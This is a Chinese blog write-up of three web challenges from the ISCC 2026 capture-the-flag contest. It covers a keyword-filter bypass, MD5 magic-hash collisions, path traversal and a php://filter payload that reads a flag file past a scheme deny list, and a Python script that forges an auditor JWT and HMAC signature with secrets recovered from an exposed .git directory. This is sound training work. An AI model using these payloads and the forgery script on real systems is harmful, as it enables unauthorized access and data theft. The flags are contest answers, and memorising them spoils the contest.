mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6mobile wallpaper 7
684 字
2 分钟
ISCC校赛练武Web-WP
2026-05-04

Web1#

level1#

题目说他对Key这个词很敏感

经过测试会过滤key

双写,kkeyey

level2#

提示缺少POST的a

随便交一个,提示数据类型不匹配或常量错误。认证已终止。

怀疑后端会比较类型,给a加一个[],再把上面的Master Const: 1337用上,

post:a[key]=1337

level3#

提示还要get一个a和b 而且要碰撞 这里用到md5的碰撞:

网上找了一些:

下列的字符串的MD5值都是0e开头的:

QNKCDZO

240610708

s878926199a

s155964671a

s214587387a

传入a=s155964671a&b=s214587387a

得到flag:ISCC{QN-tGwW0yZD4!1fQ?TXJ0b0)bUag8i}

Web2#

访问靶机

分析#

给了俩个模式 json美化Data URI预览

随便传一个参可以发现生成了 preview_file

data uri传发现必须用data/plain;base64开头

信息搜集#

dirsearch扫一下,发现有robots.txt

访问发现:

Disallow: /api/preview.php
Disallow: /api/beautify.php

/api/beautify.php貌似没啥特别的?

但是/api/preview.php可以在后面跟?file=xxx.tmp查看之前传入的json

此外这里可以通过preview.php查看源码:

/api/preview.php?file=../../var/www/html/src/api/preview.php
/api/preview.php?file=../../var/www/html/src/api/beautify.php
/api/preview.php?file=../../var/www/html/src/api/config.php

preview.php:

<?php
declare(strict_types=1);
header('Content-Type: text/plain; charset=utf-8');
header('X-Powered-By: JSON Preview');
error_reporting(0);
require_once __DIR__ . '/config.php';
function out(int $code, string $body): void {
http_response_code($code);
echo $body;
exit;
}
function startsWith(string $s, string $prefix): bool {
return strncmp($s, $prefix, strlen($prefix)) === 0;
}
function schemeOf(string $uri): ?string {
$p = strpos($uri, '://');
if ($p === false) return null;
$scheme = substr($uri, 0, $p);
if (preg_match('/^[a-zA-Z][a-zA-Z0-9+\.\-]*$/', $scheme) !== 1) {
return null;
}
return strtolower($scheme);
}
if ($_SERVER['REQUEST_METHOD'] !== 'GET') {
out(405, "Method Not Allowed\n");
}
if (!isset($_GET['file']) || trim((string)$_GET['file']) === '') {
out(200,
"JSON Preview API\n\n" .
"Usage:\n" .
" GET /api/preview.php?file=<name>\n\n" .
"有些东西离这里有点远,也许换个路径层级再看看,会遇到更有意思的文件。\n"
);
}
$file = (string)$_GET['file'];
$file = str_replace("\0", '', $file);
$requested = TMP_DIR . '/' . $file;
if (strpos($requested, TMP_DIR) !== 0) {
out(400, "Bad path\n");
}
$real = realpath($requested);
if ($real === false || !is_file($real)) {
out(404, "Not Found\n");
}
$tmpPrefix = rtrim(TMP_DIR, '/') . '/';
$srcPrefix = rtrim(SRC_API_DIR, '/') . '/';
if (!startsWith($real, $tmpPrefix) && !startsWith($real, $srcPrefix)) {
out(403, "Forbidden\n");
}
$content = file_get_contents($real);
if ($content === false) {
out(500, "Read error\n");
}
$isTmp = startsWith($real, $tmpPrefix) && preg_match('/\.tmp$/', $real) === 1;
$line = trim((string)$content);
if ($isTmp) {
$scheme = schemeOf($line);
if ($scheme !== null) {
$deny = [
'http', 'https', 'ftp', 'ftps',
'phar', 'expect',
];
if (in_array($scheme, $deny, true)) {
out(403, "Forbidden scheme\n");
}
$pos = stripos($line, 'resource=');
if ($pos === false) {
out(400, "Bad reference\n");
}
$resource = rawurldecode(substr($line, $pos + 9));
if ($resource !== FLAG_PATH) {
out(403, "Forbidden resource\n");
}
$data = @file_get_contents($line);
if ($data === false) {
out(500, "Resource read error\n");
}
echo $data;
exit;
}
}
echo $content;

beautify.php:

<?php
declare(strict_types=1);
header('Content-Type: application/json; charset=utf-8');
header('X-Powered-By: JSON Beautifier');
error_reporting(0);
require_once __DIR__ . '/config.php';
function respond(int $code, array $payload): void {
http_response_code($code);
echo json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
exit;
}
function ensureTempDir(): void {
if (!is_dir(TMP_DIR)) {
@mkdir(TMP_DIR, 0700, true);
}
@chmod(TMP_DIR, 0700);
}
function cleanupOldFiles(int $maxAgeSeconds = 300, int $maxScan = 200): void {
if (!is_dir(TMP_DIR)) return;
$files = @glob(TMP_DIR . '/*.tmp');
if (!$files) return;
$now = time();
$n = 0;
foreach ($files as $f) {
if ($n++ >= $maxScan) break;
if (!is_file($f)) continue;
$age = $now - @filemtime($f);
if ($age > $maxAgeSeconds) {
@unlink($f);
}
}
}
ensureTempDir();
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
respond(200, [
'service' => 'JSON Beautifier',
'usage' => 'POST JSON: {"data":"...","preview_type":"raw|data_uri"}',
'preview_api' => '/api/preview.php?file=<preview_id>.tmp'
]);
}
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
respond(405, ['error' => 'Method Not Allowed']);
}
$raw = file_get_contents('php://input');
$data = json_decode($raw, true);
if (!is_array($data)) {
respond(400, ['error' => 'Invalid JSON body. Expected JSON like {"data":"...","preview_type":"raw|data_uri"}']);
}
$payload = isset($data['data']) ? (string)$data['data'] : '';
$previewType = isset($data['preview_type']) ? (string)$data['preview_type'] : 'raw';
if (trim($payload) === '') {
respond(400, ['error' => 'Missing field: data']);
}
$previewId = 'preview_' . bin2hex(random_bytes(8));
$tmpFile = TMP_DIR . '/' . $previewId . '.tmp';
if ($previewType === 'raw') {
$decoded = json_decode($payload, true);
if (json_last_error() !== JSON_ERROR_NONE) {
respond(400, ['error' => 'Field "data" is not valid JSON text']);
}
$pretty = json_encode($decoded, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
if ($pretty === false) {
respond(500, ['error' => 'JSON encode failed']);
}
file_put_contents($tmpFile, $pretty, LOCK_EX);
} elseif ($previewType === 'data_uri') {
$prefix = 'data:text/plain;base64,';
if (strpos($payload, $prefix) !== 0) {
respond(400, ['error' => 'data_uri must start with: data:text/plain;base64,']);
}
$b64 = substr($payload, strlen($prefix));
$decoded = base64_decode($b64, true);
if ($decoded === false) {
respond(400, ['error' => 'Invalid base64 in data_uri']);
}
if (strlen($decoded) > 4096) {
respond(413, ['error' => 'Decoded payload too large']);
}
file_put_contents($tmpFile, $decoded, LOCK_EX);
} else {
respond(400, ['error' => 'Invalid preview_type. Use raw or data_uri']);
}
@chmod($tmpFile, 0600);
if (random_int(1, 10) === 1) {
cleanupOldFiles(300, 200);
}
respond(200, [
'success' => true,
'preview_id' => $previewId,
'preview_file' => $previewId . '.tmp'
]);

config.php:指明了flag的位置

<?php
declare(strict_types=1);
const APACHE_DEFAULT_DOCROOT = '/var/www/html';
const APACHE_DOCROOT = '/var/www/html/src';
const TMP_DIR = '/tmp/json_preview';
const SRC_API_DIR = APACHE_DOCROOT . '/api';
const FLAG_PATH = '/secret/flag';

思路#

通过看上面源码可以得出

preview.php禁止了:

'http', 'https', 'ftp', 'ftps', 'phar', 'expect'

可用的协议:除了这些之外,PHP支持的协议,如file, data, zip, gopher, glob, ssh2 但需要看实际环境。特别地,代码中schemeOf函数要求scheme符合正则,所以有效scheme必须字母开头,后面字母数字+.-。

所以比如data:是可以的。

config.php指明了:

resource=/secret/flag

用伪协议将flag拿出来

构造:

php://filter/read=convert.base64-encode/resource=/secret/flag

将它base64,得到:

cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS9zZWNyZXQvZmxhZw==

bp抓包传入:

再用preview.php访问

这里是之前学习时候感觉类似的题目 有类似的知识点

https://blog.csdn.net/2301_79880442/article/details/137148265

Web3#

由于ISCC太恶心了累了用AI梭了:

Summary#

题目的核心不是 SQL 查询本身,而是误公开的 .git 仓库。通过恢复源码与上一版提交,可以拿到 JWT 调试密钥和内部审计接口的 HMAC 密钥,随后伪造审计员身份并查询节点状态拿到 flag。

Solution#

Step 1: 从 .git 泄露恢复关键源码#

首页加载的 /static/main.js 明文写入了 window.__buildTrace = "/.git/HEAD",说明站点把 Git 元数据暴露在了 Web 根目录下。

继续访问:

  • /.git/HEAD 得到当前分支
  • /.git/refs/heads/master 得到最新提交哈希
  • /.git/objects/... 还原提交对象与 tree/blob

恢复出的当前版本源码里有两条关键信息:

  • JWT 同时接受 RS256HS256
  • HS256 使用开发密钥 ISCC_2026_JWT_DEBUG_KEY_#9527

而上一版源码里还保留了内部节点查询签名规则:

  • msg = f"{node_id}:{ts}"
  • sign = HMAC_SHA256_hex("ISCC_SERVER_SECRET_REAL", msg)

Step 2: 伪造审计员 JWT 并查询内部节点#

用泄露的 JWT 调试密钥伪造 role=auditorHS256 票据,即可访问 /auditor/nodes
然后对 core-storage-01 和当前时间戳按旧版规则生成 HMAC 签名并提交,页面会回显 flag。

#!/usr/bin/env python3
import base64
import hashlib
import hmac
import json
import re
import time
import requests
BASE_URL = "http://39.105.213.28:49106"
JWT_SECRET = b"ISCC_2026_JWT_DEBUG_KEY_#9527"
SERVER_SECRET = b"ISCC_SERVER_SECRET_REAL"
NODE_ID = "core-storage-01"
def b64url(data: bytes) -> bytes:
return base64.urlsafe_b64encode(data).rstrip(b"=")
def forge_auditor_jwt() -> str:
now = int(time.time())
header = {"alg": "HS256", "typ": "JWT"}
payload = {
"sub": "auditor",
"role": "auditor",
"iat": now,
"exp": now + 3600,
"iss": "夜班审计台",
}
p1 = b64url(json.dumps(header, separators=(",", ":")).encode())
p2 = b64url(json.dumps(payload, separators=(",", ":"), ensure_ascii=False).encode())
p3 = b64url(hmac.new(JWT_SECRET, p1 + b"." + p2, hashlib.sha256).digest())
return (p1 + b"." + p2 + b"." + p3).decode()
def calc_probe_sign(node_id: str, ts: int) -> str:
return hmac.new(SERVER_SECRET, f"{node_id}:{ts}".encode(), hashlib.sha256).hexdigest()
def main():
token = forge_auditor_jwt()
ts = int(time.time())
sign = calc_probe_sign(NODE_ID, ts)
resp = requests.post(
f"{BASE_URL}/auditor/nodes",
headers={"Cookie": f"audit_token={token}"},
data={"node_id": NODE_ID, "ts": str(ts), "sign": sign},
timeout=10,
)
resp.raise_for_status()
flag = re.search(r"(ISCC\\{[^}]+\\})", resp.text).group(1)
print(flag)
if __name__ == "__main__":
main()

示例输出:

ISCC{distributed_audit_jwt}

Flag#

ISCC{distributed_audit_jwt}
分享

如果这篇文章对你有帮助,欢迎分享给更多人!

ISCC校赛练武Web-WP
http://blog.azkanna.cn/posts/iscc2026/
作者
AzKanna
发布于
2026-05-04
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录